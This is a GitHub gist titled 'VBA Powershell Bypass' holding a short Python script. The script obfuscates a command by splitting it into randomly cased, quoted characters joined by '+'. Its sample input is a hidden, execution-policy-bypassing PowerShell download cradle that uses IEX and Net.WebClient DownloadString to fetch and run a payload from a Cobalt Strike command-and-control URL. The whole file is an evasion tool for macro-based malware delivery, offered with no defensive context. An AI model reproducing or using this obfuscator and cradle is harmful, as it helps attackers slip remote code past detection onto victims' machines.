Last active
April 14, 2024 14:39
-
-
Save Udyz/8bab10680d7401063d104f581e67cc7c to your computer and use it in GitHub Desktop.
VBA Powershell Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
def cmd(string): | |
for _ in string: | |
_ = _.replace("'", '\"') | |
_ = _.replace('"', '\"') | |
s = random.choice(["'"+_.lower()+"'+", "'"+_.upper()+"'+"]).replace(")'+", ")'") | |
print(s, end='') | |
cmd("powershell.exe nop -wind hidden -Exec Bypass -noni -enc -C IeX (NeW-OBjeCt Net.WeBClIeNt).DownloadString('hxxp://c2.cobaltstrike.com/Malicious')") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment